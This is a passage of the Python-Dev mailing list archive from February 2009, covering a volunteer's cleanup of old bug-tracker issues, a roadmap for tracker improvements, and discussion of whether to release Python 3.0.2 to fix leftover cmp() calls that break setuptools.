http://bugs.python.org/issue1251921 Fail codecs.lookup() on 'mbcs' and 'tactis'

http://bugs.python.org/issue1248119 pdb 'next' does not skip list comprehension

http://bugs.python.org/issue1169633 Install fail code 2932 after fail
to copy python_icon.exe

http://bugs.python.org/issue1111100 csv reader barfs encountering
quote when quote_none is set

http://bugs.python.org/issue1044299 compile error with stlport

http://bugs.python.org/issue1047540 Turtle.py hangs Idle

http://bugs.python.org/issue995956 TclError with intel's hypertheading

http://bugs.python.org/issue1001150 hotspot profiler does not work
correctly on P4 CPUs with HT

http://bugs.python.org/issue974635 Slice indexes passed to __getitem__
are wrapped

http://bugs.python.org/issue974159 Starting a script in OSX within a
specific folder

http://bugs.python.org/issue949667 file write() method and non-blocking mode.

http://bugs.python.org/issue815753 SCO_SV: many modules cannot be imported

http://bugs.python.org/issue727732 getpath.c-generated prefix wrong
for Tru64 scripts

http://bugs.python.org/issue875654 add support for installations
compiled for debugging

http://bugs.python.org/issue872815 How to pass the proxy server use socket

http://bugs.python.org/issue854918 Configurable SSL handshake

http://bugs.python.org/issue835176 [2.3.2] bz2 test failure on AIX
4.3.2, Tru64 UNIX

http://bugs.python.org/issue809887 Improve pdb breakpoint feedback

http://bugs.python.org/issue780354 socket.makefile() isn't compatible
with marshal/cPickle/etc

http://bugs.python.org/issue775340 OSX 'freeze' bug

http://bugs.python.org/issue4191 urlparse normalize URL path

http://bugs.python.org/issue1682241 Problems with urllib2 read()

http://bugs.python.org/issue1210326 comma separated cookie values

http://bugs.python.org/issue5072 urllib.open sends full URL after GET
command instead of local path

From mal at egenix.com  Mon Feb 16 19:00:35 2009
From: mal at egenix.com (M.-A. Lemburg)
Date: Mon, 16 Feb 2009 19:00:35 +0100
Subject: [Python-Dev] Mark old distutils as deprecated
In-Reply-To: <94bdd2610902160854u1d1c3273v4b6649266560b5df@mail.gmail.com>
References: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com>	<49904AB6.30205@egenix.com>
	<94bdd2610902160854u1d1c3273v4b6649266560b5df@mail.gmail.com>
Message-ID: <4999A9C3.4000701@egenix.com>

On 2009-02-16 17:54, Tarek Ziad? wrote:
> 2009/2/9 M.-A. Lemburg <mal at egenix.com>:
>> On 2009-02-08 11:15, Tarek Ziad? wrote:
>>> Hello
>>>
>>> To avoid confusion, as suggested by Akira who works on cleaning the
>>> Distutils pages on the python.org website,
>>> I would like to move http://svn.python.org/view/distutils/trunk into a
>>> branch and add a README.txt in an empty trunk
>>> to explain the current status of the package.
>>>
>>> Any objection ?
>> No.
>>
>> It be worthwhile keeping just the setup code and adjust that
>> to take the distutils package from the python/ dir in order to
>> build separate releases of the code for upload to PyPI (ones
>> that basically provide the code as released in Python 2.x as
>> separate download for 2.(x-1) and 2.(x-2)).
> 
> Indeed, and for any Python version in fact, to get early feedbacks
> between two Python releases.
> 
> I will make releases as you mentioned, and also a development release
> using the svn revision,
> so people can try out the current trunk.
> 
>>>> '%sdev-r69676' % sys.version.split()[0]
> '2.7a0dev-r69676'

Great !

Thanks,
-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 16 2009)
>>> Python/Zope Consulting and Support ...        http://www.egenix.com/
>>> mxODBC.Zope.Database.Adapter ...             http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::: Try our new mxODBC.Connect Python Database Interface for free ! ::::


   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From mal at egenix.com  Mon Feb 16 19:01:14 2009
From: mal at egenix.com (M.-A. Lemburg)
Date: Mon, 16 Feb 2009 19:01:14 +0100
Subject: [Python-Dev] Issues to be closed: objections?
In-Reply-To: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>
References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>
Message-ID: <4999A9EA.1020300@egenix.com>

On 2009-02-16 18:50, Daniel (ajax) Diniz wrote:
> Hi,
> I've marked some issues (25 now) to close, mostly because:
> - there was no reply from OP, nor a clear justification for the issue;
> - there are messages explaining why the issue is invalid;
> - the OSes/versions of the report suggest the issue is currently invalid;
> 
> However, I've been mistaken about the desirability of leaving an issue
> open a couple of times in last days. So, I'd really appreciate if
> someone could take a quick look at the issues below to avoid any
> undesirable closing.
> 
> I'll also mark them as pending later today, and plan to wait until the
> weekend before closing. Any suggestion/criticism about this plan would
> be welcome too.
> 
> Thanks everybody for all the support, helping, patience and enduring the spam!
> 
> Daniel
> 
> http://bugs.python.org/issue1231081 platform.processor() could be smarter

FYI: I've closed this one.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 16 2009)
>>> Python/Zope Consulting and Support ...        http://www.egenix.com/
>>> mxODBC.Zope.Database.Adapter ...             http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::: Try our new mxODBC.Connect Python Database Interface for free ! ::::


   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From ajaksu at gmail.com  Mon Feb 16 19:24:53 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Mon, 16 Feb 2009 15:24:53 -0300
Subject: [Python-Dev] Issues to be closed: objections?
In-Reply-To: <4999A9EA.1020300@egenix.com>
References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>
	<4999A9EA.1020300@egenix.com>
Message-ID: <2d75d7660902161024y35f18784g92606ee2c14910b9@mail.gmail.com>

M.-A. Lemburg wrote:
>> http://bugs.python.org/issue1231081 platform.processor() could be smarter

Thanks, Marc-Andre!

If anyone else feels like closing some of these issues, go ahead (no
need to report back, I'll find it out later). My rather bureaucratic
approach is just to avoid a possible trigger-happiness on my part :)

Daniel

From jek-gmane1 at kleckner.net  Mon Feb 16 19:33:57 2009
From: jek-gmane1 at kleckner.net (Jim Kleckner)
Date: Mon, 16 Feb 2009 10:33:57 -0800
Subject: [Python-Dev] Buildbots for 2.6 and 3.0
In-Reply-To: <493B2DA8.2000105@v.loewis.de>
References: <loom.20081206T231226-64@post.gmane.org>
	<493B2DA8.2000105@v.loewis.de>
Message-ID: <gncbil$73q$1@ger.gmane.org>

Martin v. L?wis wrote:
>> Looking at http://www.python.org/dev/buildbot/, we are still missing buildbots
>> for the release26-maint and release30-maint branches. Is someone working on that?
> 
> Yes. I won't enable 2.6 build slaves until 2.5.3 is released, but will
> afterwards.

How does one actually download the resulting .msi for a build?
I poked a 2.6 build to try out the fix for issue4566:
  http://www.python.org/dev/buildbot/2.6/x86%20XP-4%202.6/builds/90

But searching around I don't see where the resulting files are stored.
Where are they located?

They used to go in here for 2.6 development:
  http://www.python.org/dev/daily-msi/


From regebro at gmail.com  Mon Feb 16 20:08:19 2009
From: regebro at gmail.com (Lennart Regebro)
Date: Mon, 16 Feb 2009 20:08:19 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
Message-ID: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>

I discovered some remaining cmp() in 3.0.1, 38 minutes after Benjamin
fixed them. :) Unfortunately, that means porting setuptools to 3.0.1
will be a bit difficult. So my question is: Will there be a 3.0.2 with
those fixes, or should I add workaround code for 3.0.1?

-- 
Lennart Regebro: Pythonista, Barista, Notsotrista.
http://regebro.wordpress.com/
+33 661 58 14 64

From ajaksu at gmail.com  Mon Feb 16 20:40:10 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Mon, 16 Feb 2009 16:40:10 -0300
Subject: [Python-Dev] Tracker cleanup report
Message-ID: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com>

Hi,
Here's a summary of what's been accomplished and what's almost done.
This kinda marks the end of this Bug Season for me, but I'd like to do
at least one more installment before PyCon.

We have closed 51 issues so far (sorry if I missed some):

*                   Barry
**********          Benjamin
**************      Daniel
*****               Georg
*                   Guilherme
*                   Hirokazu
*                   Marc-Andre
***                 Mark
**********          Martin
*                   Raymond
**                  Terry
**                  Victor

Thanks, guys!

There are about 20 Mac-related, 24 invalid/outdated and four IRIX
issues on the 'will be closed unless someone voices disagreement'
queue, so we have a good chance of totaling a hundred closed issues in
ten days.

I estimate to have updated about 400-500 issues in the last seven
days. I'm now nosy in 200 of these, that's karma for spamming
python-dev and python-bugs.

I'll pause the digging effort for the next days: besides having less
free time, I think it'll help us digest all those updates.

Obviously, the cleaning is far from complete: there are lots of issues
with 2.5 as version, lots of similar issues (e.g. for socket,
HTMLParser), etc. I'll soon post a tentative plan to attack these. The
goal would roughly be making it easier to pick good issues for PyCon
sprints and fixing in / adding to 2.7 and 3.1.

Cheers,
Daniel

From leif.walsh at gmail.com  Mon Feb 16 20:52:22 2009
From: leif.walsh at gmail.com (Leif Walsh)
Date: Mon, 16 Feb 2009 14:52:22 -0500
Subject: [Python-Dev] Wow!
In-Reply-To: <4996291C.5070905@canterbury.ac.nz>
References: <B2A331F763954895A8D4D34AC1BDF574@RaymondLaptop1>
	<bbaeab100902131745r79c88f74n355ca41836fc7ab9@mail.gmail.com>
	<4996291C.5070905@canterbury.ac.nz>
Message-ID: <cc7430500902161152t447b390eyb3d4157148b439b3@mail.gmail.com>

On Fri, Feb 13, 2009 at 9:14 PM, Greg Ewing <greg.ewing at canterbury.ac.nz> wrote:
> Also it sounds like they could do with a really good
> garbage collection algorithm just now.

If only we had a second Earth to mess with, we could just copy and swap.

-- 
Cheers,
Leif

From tjreedy at udel.edu  Mon Feb 16 21:14:54 2009
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 16 Feb 2009 15:14:54 -0500
Subject: [Python-Dev] Issues to be closed: objections?
In-Reply-To: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>
References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>
Message-ID: <gnchfr$rpi$1@ger.gmane.org>

Daniel (ajax) Diniz wrote:
> Hi,
> I've marked some issues (25 now) to close, mostly because:
> - there was no reply from OP, nor a clear justification for the issue;
> - there are messages explaining why the issue is invalid;
> - the OSes/versions of the report suggest the issue is currently invalid;
> 
> However, I've been mistaken about the desirability of leaving an issue
> open a couple of times in last days. So, I'd really appreciate if
> someone could take a quick look at the issues below to avoid any
> undesirable closing.
> 
> I'll also mark them as pending later today, and plan to wait until the
> weekend before closing. Any suggestion/criticism about this plan would
> be welcome too.

I believe items changed from open to pending get closed automatically 
after a couple of weeks (this should be documented, I hope), so that 
there is no need to revisit.

> 
> Thanks everybody for all the support, helping, patience and enduring the spam!
> 
> Daniel
> 
> http://bugs.python.org/issue1231081 platform.processor() could be smarter
> 
> http://bugs.python.org/issue1251921 Fail codecs.lookup() on 'mbcs' and 'tactis'
> 
> http://bugs.python.org/issue1248119 pdb 'next' does not skip list comprehension
> 
> http://bugs.python.org/issue1169633 Install fail code 2932 after fail
> to copy python_icon.exe
> 
> http://bugs.python.org/issue1111100 csv reader barfs encountering
> quote when quote_none is set
> 
> http://bugs.python.org/issue1044299 compile error with stlport
> 
> http://bugs.python.org/issue1047540 Turtle.py hangs Idle
> 
> http://bugs.python.org/issue995956 TclError with intel's hypertheading
> 
> http://bugs.python.org/issue1001150 hotspot profiler does not work
> correctly on P4 CPUs with HT
> 
> http://bugs.python.org/issue974635 Slice indexes passed to __getitem__
> are wrapped
> 
> http://bugs.python.org/issue974159 Starting a script in OSX within a
> specific folder
> 
> http://bugs.python.org/issue949667 file write() method and non-blocking mode.
> 
> http://bugs.python.org/issue815753 SCO_SV: many modules cannot be imported
> 
> http://bugs.python.org/issue727732 getpath.c-generated prefix wrong
> for Tru64 scripts
> 
> http://bugs.python.org/issue875654 add support for installations
> compiled for debugging
> 
> http://bugs.python.org/issue872815 How to pass the proxy server use socket
> 
> http://bugs.python.org/issue854918 Configurable SSL handshake
> 
> http://bugs.python.org/issue835176 [2.3.2] bz2 test failure on AIX
> 4.3.2, Tru64 UNIX
> 
> http://bugs.python.org/issue809887 Improve pdb breakpoint feedback
> 
> http://bugs.python.org/issue780354 socket.makefile() isn't compatible
> with marshal/cPickle/etc
> 
> http://bugs.python.org/issue775340 OSX 'freeze' bug
> 
> http://bugs.python.org/issue4191 urlparse normalize URL path
> 
> http://bugs.python.org/issue1682241 Problems with urllib2 read()
> 
> http://bugs.python.org/issue1210326 comma separated cookie values
> 
> http://bugs.python.org/issue5072 urllib.open sends full URL after GET
> command instead of local path
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/python-python-dev%40m.gmane.org
> 


From p.f.moore at gmail.com  Mon Feb 16 21:37:00 2009
From: p.f.moore at gmail.com (Paul Moore)
Date: Mon, 16 Feb 2009 20:37:00 +0000
Subject: [Python-Dev] Tracker cleanup report
In-Reply-To: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com>
References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com>
Message-ID: <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com>

2009/2/16 Daniel (ajax) Diniz <ajaksu at gmail.com>:
> Hi,
> Here's a summary of what's been accomplished and what's almost done.
> This kinda marks the end of this Bug Season for me, but I'd like to do
> at least one more installment before PyCon.

Can I, for one, offer a *huge* round of applause for what you've
achieved. It's great to see the tracker getting some serious
attention.

Paul.

From benjamin at python.org  Mon Feb 16 21:38:25 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Mon, 16 Feb 2009 14:38:25 -0600
Subject: [Python-Dev] Issues to be closed: objections?
In-Reply-To: <gnchfr$rpi$1@ger.gmane.org>
References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>
	<gnchfr$rpi$1@ger.gmane.org>
Message-ID: <1afaf6160902161238n2be8d1b6oe30d3717ee07501@mail.gmail.com>

On Mon, Feb 16, 2009 at 2:14 PM, Terry Reedy <tjreedy at udel.edu> wrote:
> Daniel (ajax) Diniz wrote:
>>
>> Hi,
>> I've marked some issues (25 now) to close, mostly because:
>> - there was no reply from OP, nor a clear justification for the issue;
>> - there are messages explaining why the issue is invalid;
>> - the OSes/versions of the report suggest the issue is currently invalid;
>>
>> However, I've been mistaken about the desirability of leaving an issue
>> open a couple of times in last days. So, I'd really appreciate if
>> someone could take a quick look at the issues below to avoid any
>> undesirable closing.
>>
>> I'll also mark them as pending later today, and plan to wait until the
>> weekend before closing. Any suggestion/criticism about this plan would
>> be welcome too.
>
> I believe items changed from open to pending get closed automatically after
> a couple of weeks (this should be documented, I hope), so that there is no
> need to revisit.

No, that feature hasn't yet been implemented.



-- 
Regards,
Benjamin

From brett at python.org  Mon Feb 16 21:49:12 2009
From: brett at python.org (Brett Cannon)
Date: Mon, 16 Feb 2009 12:49:12 -0800
Subject: [Python-Dev] Tracker cleanup report
In-Reply-To: <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com>
References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com>
	<79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com>
Message-ID: <bbaeab100902161249r29122e09y7ce3c7b4774e6173@mail.gmail.com>

On Mon, Feb 16, 2009 at 12:37, Paul Moore <p.f.moore at gmail.com> wrote:

> 2009/2/16 Daniel (ajax) Diniz <ajaksu at gmail.com>:
> > Hi,
> > Here's a summary of what's been accomplished and what's almost done.
> > This kinda marks the end of this Bug Season for me, but I'd like to do
> > at least one more installment before PyCon.
>
> Can I, for one, offer a *huge* round of applause for what you've
> achieved. It's great to see the tracker getting some serious
> attention.


Ditto from me! And I will eventually get to the bugs assigned to me
(hopefully starting some time this week).

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090216/0b452f28/attachment.htm>

From ncoghlan at gmail.com  Mon Feb 16 22:15:29 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 17 Feb 2009 07:15:29 +1000
Subject: [Python-Dev] Tracker cleanup report
In-Reply-To: <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com>
References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com>
	<79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com>
Message-ID: <4999D771.3040401@gmail.com>

Paul Moore wrote:
> 2009/2/16 Daniel (ajax) Diniz <ajaksu at gmail.com>:
>> Hi,
>> Here's a summary of what's been accomplished and what's almost done.
>> This kinda marks the end of this Bug Season for me, but I'd like to do
>> at least one more installment before PyCon.
> 
> Can I, for one, offer a *huge* round of applause for what you've
> achieved. It's great to see the tracker getting some serious
> attention.

Hear, hear!

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From martin at v.loewis.de  Mon Feb 16 22:25:18 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 16 Feb 2009 22:25:18 +0100
Subject: [Python-Dev] Adding T_SIZET to structmember.h
In-Reply-To: <e7ba66e40902160513p3c3f7bc8i3de0716c8f39a0c6@mail.gmail.com>
References: <e7ba66e40902121242x2180b51drcb7de29b00a5548a@mail.gmail.com>	
	<5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com>	
	<e7ba66e40902130744s4a14c9a0n5dfed4b5905775d5@mail.gmail.com>	
	<499611E6.1020104@v.loewis.de>
	<e7ba66e40902160513p3c3f7bc8i3de0716c8f39a0c6@mail.gmail.com>
Message-ID: <4999D9BE.1000105@v.loewis.de>

> Martin, I was not clear enough. Please, just tell me: Do you believe
> that this addition do make sense? Would you reject it for some reason
> (other than a bad patch) ?

I would be +0. All other integral types support both signed and signed
fields, why not size_t.

Regards,
Martin

From Jack.Jansen at cwi.nl  Mon Feb 16 22:25:51 2009
From: Jack.Jansen at cwi.nl (Jack Jansen)
Date: Mon, 16 Feb 2009 22:25:51 +0100
Subject: [Python-Dev] Tracker cleanup report
In-Reply-To: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com>
References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com>
Message-ID: <5B32700B-4A22-4712-894E-D8D948AE0F05@cwi.nl>


On  16-Feb-2009, at 20:40 , Daniel (ajax) Diniz wrote:

> There are about 20 Mac-related, 24 invalid/outdated and four IRIX
> issues on the 'will be closed unless someone voices disagreement'
> queue, so we have a good chance of totaling a hundred closed issues in
> ten days.


I had a cursory look at these issues as they came by, and I didn't see  
any that struck me as still being relevant.
--
Jack Jansen, <Jack.Jansen at cwi.nl>, http://www.cwi.nl/~jack
If I can't dance I don't want to be part of your revolution -- Emma  
Goldman



-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090216/ca1f095f/attachment-0001.htm>

From greg.ewing at canterbury.ac.nz  Mon Feb 16 23:04:35 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Tue, 17 Feb 2009 11:04:35 +1300
Subject: [Python-Dev] Wow!
In-Reply-To: <cc7430500902161152t447b390eyb3d4157148b439b3@mail.gmail.com>
References: <B2A331F763954895A8D4D34AC1BDF574@RaymondLaptop1>
	<bbaeab100902131745r79c88f74n355ca41836fc7ab9@mail.gmail.com>
	<4996291C.5070905@canterbury.ac.nz>
	<cc7430500902161152t447b390eyb3d4157148b439b3@mail.gmail.com>
Message-ID: <4999E2F3.1010409@canterbury.ac.nz>

Leif Walsh wrote:

> If only we had a second Earth to mess with, we could just copy and swap.

Or we could use a generational approach, doing all our
messy stuff around the moon and copying to earth when
we've got our traffic control issues sorted out.

-- 
Greg

From guido at python.org  Tue Feb 17 02:21:10 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 16 Feb 2009 17:21:10 -0800
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
Message-ID: <ca471dc20902161721h275bb3b0m7a3e719a70142a6a@mail.gmail.com>

[Resend, hopefully bag.python.org is fixed now.[

Can you explain the difficulty with porting setuptools in more detail?

On Mon, Feb 16, 2009 at 11:08 AM, Lennart Regebro <regebro at gmail.com> wrote:
> I discovered some remaining cmp() in 3.0.1, 38 minutes after Benjamin
> fixed them. :) Unfortunately, that means porting setuptools to 3.0.1
> will be a bit difficult. So my question is: Will there be a 3.0.2 with
> those fixes, or should I add workaround code for 3.0.1?

--
--Guido van Rossum (home page: http://www.python.org/~guido/)

From benjamin at python.org  Tue Feb 17 02:29:37 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Mon, 16 Feb 2009 19:29:37 -0600
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
Message-ID: <1afaf6160902161729x6c21679akdfb4998692108b67@mail.gmail.com>

On Mon, Feb 16, 2009 at 5:50 PM, Guido van Rossum <guido at python.org> wrote:
> Can you explain the difficulty with porting setuptools in more detail?

Basically setuptools invokes a functions in distutils that was still
using cmp(). (See the latest messages in issue #1717 for all the
details.)



-- 
Regards,
Benjamin

From brett at python.org  Tue Feb 17 03:16:12 2009
From: brett at python.org (Brett Cannon)
Date: Mon, 16 Feb 2009 18:16:12 -0800
Subject: [Python-Dev] Anyone want to lead the sprints at PyCon this year?
Message-ID: <bbaeab100902161816i20ae169fj571fc732978a9b2@mail.gmail.com>

Or am I doing it again as usual because I was stupid enough to ask this
question?

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090216/9f1546e8/attachment.htm>

From ironfroggy at gmail.com  Tue Feb 17 03:29:20 2009
From: ironfroggy at gmail.com (Calvin Spealman)
Date: Mon, 16 Feb 2009 21:29:20 -0500
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
Message-ID: <76fd5acf0902161829jd8966c1wc4eb0f9295948590@mail.gmail.com>

FWIW; I think a 3.0.2 would be useful socially (even volunteer projects have
marketting issues to consider). It says "we are committed to making 3.x
work", while the quick jump to 3.1 with only a limited minor fix release to
3.0 says "we stumbled into this and have to just brush this under the rug.
But we got it right this time! I hope.."

On Feb 16, 2009 2:08 PM, "Lennart Regebro" <regebro at gmail.com> wrote:

I discovered some remaining cmp() in 3.0.1, 38 minutes after Benjamin
fixed them. :) Unfortunately, that means porting setuptools to 3.0.1
will be a bit difficult. So my question is: Will there be a 3.0.2 with
those fixes, or should I add workaround code for 3.0.1?

--
Lennart Regebro: Pythonista, Barista, Notsotrista.
http://regebro.wordpress.com/
+33 661 58 14 64
_______________________________________________
Python-Dev mailing list
Python-Dev at python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/ironfroggy%40gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090216/09ad3192/attachment.htm>

From ajaksu at gmail.com  Tue Feb 17 04:20:58 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 17 Feb 2009 00:20:58 -0300
Subject: [Python-Dev] Tracker cleanup roadmap
Message-ID: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com>

This is the janitorial plan I mentioned earlier...
It's so humongously huge by now that I'm not sure whether I should
submit it to e.g. the Python Papers or just print it and set it on
fire and run screaming. Fortunately, a tl;dl summary is provided :)

Daniel

Summary
Let's improve the tracker UI to better fit our needs. Then, classify
them bugs and separate garbage from real development. Lastly, bug
reporters should get a better UI. That's it,  any help is welcome.

The wall of text

Developer time constraints are arguably the main bottleneck in
handling tickets, which is only a subset of Python development.
Optimizing the application of main/core developers' time to Python
issues is a no-brainer. Being able to add volunteers to the productive
time pool is also very desirable. This document outlines a tentative
plan to move towards a better workflow in the Python Tracker.

Summary of tracker issues
The Python Tracker contains more than 17000 tickets, with
approximately 2350 still open. Of the open tickets, 500 were last
updated more than a year ago, while about 1150 were created before
that.

Current problems
Core developers, volunteers and newcomers are burdened with a lot of
inefficient and/or nonproductive chores when handling issues.
Requesting and waiting for feedback/confirmation/patch testing,
performing multiple searches, missing relevant discussion in
similar/duplicated issues and other low-level tasks and gotchas get in
the way of solving real problems.

The low signal/noise ratio of open issues is a major component of this
burden. At least 850 issues have outdated/missing version information,
while about 850 don't have a type (RFE, behavior, crash) set. About
800 issues have patches. Priorities carry little information, mostly
because they are left in the default setting: 1200 issues are set to
'normal' (a SF.net artifact) and 750 have no priority (a Roundup
artifact). Less than 200 tickets have 'low' priority. Most of these
issues boil down to tracker features being underused.

Another relevant time-sink consists of inadequacies of the current
interface. Many search features are hard to use or notice, among them
date spans and entering multiple inputs as lists. Other search
features are lacking, mostly simple boolean relations, e.g. those
including more than one keyword, full search terms, type, component,
etc. Besides searching, the lack of interfaces (and backend support)
for selecting and working with multiple issues tends to waste
considerable amounts of time.

Proposed plan
The suggested approach consists of a three parts effort focusing first
on developer-side tracker UI, then on massive issue categorization and
lastly on user-side UI. This optimizes the work of a single tracker
janitorveloper, but can be better partitioned if more janitorvelopers
are available.

The developer-side UI effort will focus, in this order, on making
available tracker features easier to use, adding new search features
and mass-handling of issues. This should improve both developers' and
tracker janitors' workflow.

Issue categorization will look like this last Bug Season (adding
details to tickets), but hopefully with a saner workflow. There are a
few clear sets of similar issues, e.g. about socket, handling of
characters on network protocol and format parsing modules, Tkinter +
IDLE, etc., that could use grouping and closing of duplicates. A
suggested form of grouping would be 'umbrella' or 'grab-bag' issues,
with existing issues of a topic as dependencies.

Finally, bug-reporter UI. The idea is to make it easier for users to
provide good bug reports, make the options clearer and minimize the
need for (preliminary) issue post-processing by developers. This might
include a template or wizard for reports, adding information about
which versions receive fixes or RFE, etc.

Deliverables (WIP)

Developer-side UI
  Patches for client-side Roundup:
    - add missing fields/options to search (e.g. Stages, fix 'not closed')
    - allow multiple choices for versions, components and keywords
    - add checkboxes to multiselects
    - avoid drop-downs above multiselects (janitors misclick a lot!)
    - support for mass-selection/display (3rd party patch available)
    - add a clutter-free 'search in all issues' button
  Patches for server-side Roundup:
    - boolean searches
    - support for mass-updates (3rd party patch available)
    - maybe add regex support (3rd party patch available)

Issue categorization
    - present better statistics about the open issues
    - maybe add grab-bag issues (3rd party patch available)
    - assorted closing, updating and poking old issues

User-side interface
  Patches for client-side Roundup:
    - inline help for fields in issue creation
    - adapt current docs (and Brett's guide) for easy access during reporting
  Patches for server-side Roundup:
    - maybe add a wizard for filling bugs (3rd party patch available)

Timeline
TBD, first part should definitely be done before PyCon, how much of
second part can be done for PyCon and 2.7/3.1 is hard to predict
without more specific goals in this area.

Conclusion
TBD, should learn to write shorter, clear messages :/

From stephen at xemacs.org  Tue Feb 17 04:44:14 2009
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Tue, 17 Feb 2009 12:44:14 +0900
Subject: [Python-Dev] Issues to be closed: objections?
In-Reply-To: <2d75d7660902161024y35f18784g92606ee2c14910b9@mail.gmail.com>
References: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com>
	<4999A9EA.1020300@egenix.com>
	<2d75d7660902161024y35f18784g92606ee2c14910b9@mail.gmail.com>
Message-ID: <87prhhralt.fsf@xemacs.org>

Daniel (ajax) Diniz writes:
 > M.-A. Lemburg wrote:
 > >> http://bugs.python.org/issue1231081 platform.processor() could be smarter
 > 
 > Thanks, Marc-Andre!
 > 
 > If anyone else feels like closing some of these issues, go ahead (no
 > need to report back, I'll find it out later). My rather bureaucratic
 > approach is just to avoid a possible trigger-happiness on my part
 > :)

What you are doing is "formal process."  It only becomes "bureaucracy"
when you try to make others do the same. ;-)

Thank you very much for the work and letting us know about the process
you follow!


From regebro at gmail.com  Tue Feb 17 08:52:20 2009
From: regebro at gmail.com (Lennart Regebro)
Date: Tue, 17 Feb 2009 08:52:20 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
Message-ID: <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>

On Tue, Feb 17, 2009 at 00:50, Guido van Rossum <guido at python.org> wrote:
> Can you explain the difficulty with porting setuptools in more detail?

Oh, it just exposes a bug in distutils. It probably means I'll have to
make a test for python version, and if it is 3.0.1, monkey-patch
distutils. I haven't really looked into if there is any other
possibilities yet, I'm concentrating to make it run for 3.1 trunk
first.

-- 
Lennart Regebro: Pythonista, Barista, Notsotrista.
http://regebro.wordpress.com/
+33 661 58 14 64

